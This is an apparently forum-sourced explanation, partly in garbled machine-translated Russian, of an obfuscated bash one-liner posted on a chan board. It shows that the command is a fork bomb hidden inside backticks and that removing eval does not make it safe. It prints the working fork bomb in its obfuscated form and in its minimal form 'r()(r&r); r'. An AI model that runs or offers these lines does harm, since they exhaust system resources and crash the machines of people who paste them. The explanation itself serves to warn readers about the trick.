Сначала давайте посмотрим на всю команду:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Он содержит строку в двойных кавычках, которая отображается в uudecode
. Но обратите внимание, что внутри строки в двойных кавычках есть строка в обратных кавычках . Эта строка исполняется . Строка:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Если мы посмотрим, что в нем, мы увидим три команды:
rYWdl & r()(Y29j & r{,3Rl7Ig} & r{,T31wo}) r
Выполняя раскладку по средней команде, мы имеем:
rYWdl & r()(Y29j & r r3Rl7Ig & r rT31wo) r
Первая строка пытается выполнить бессмысленную команду в фоновом режиме. Это неважно.
Важна вторая строка: она определяет функцию, r
которая при запуске запускает две свои копии. Каждая из этих копий, конечно, запустит еще две копии. И так далее.
Третья линия бежит r
, начиная бомбу вилки.
Остальная часть кода, за пределами строки в кавычках, - просто ерунда для запутывания.
Как выполнить команду безопасно
Этот код можно безопасно выполнить, если мы установим ограничение на уровень вложенности функций. Это можно сделать с помощью FUNCNEST
переменной bash . Здесь мы устанавливаем его, 2
и это останавливает рекурсию:
$ export FUNCNEST=2 $ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode bash: rYWdl: command not found bash: Y29j: command not found bash: r: maximum function nesting level exceeded (2) bash: r: maximum function nesting level exceeded (2) bash: r: maximum function nesting level exceeded (2) bash: Y29j: command not found bash: r: maximum function nesting level exceeded (2) bash: Y29j: command not found uudecode fatal error: standard input: Invalid or missing 'begin' line
The error messages above show that (a) the nonsense commands rYWdl
and Y29j
are not found, (b) the fork bomb gets repeatedly stopped by FUNCNEST, and (c) the output of echo
does not start with begin
and, consequently, is not valid input for uudecode
.
The fork bomb in its simplest form
What would the fork bomb look like if we removed the obscuration? As njzk2 and gerrit suggest, it would look like:
echo "`r()(r&r);r`"
We can simplify that even further:
r()(r&r); r
That consists of two statements: one defines the fork-bomb-function r
and the second runs r
.
All the other code, including the pipe to uudecode
, was there just for obscuration and misdirection.
The original form had yet another layer of misdirection
The OP has provided a link to the chann board discussion on which this code appeared. As presented there, the code looked like:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Notice one of the first comments about this code:
I fell for it. Copied only the part that echoes and decodes, but still got forkbombed
In the form on the chann board, one would naively think that the problem would be the eval
statement operating on the output of uudecode
. This would lead one to think that removing eval
would solve the problem. As we have seen above, this is false and dangerously so.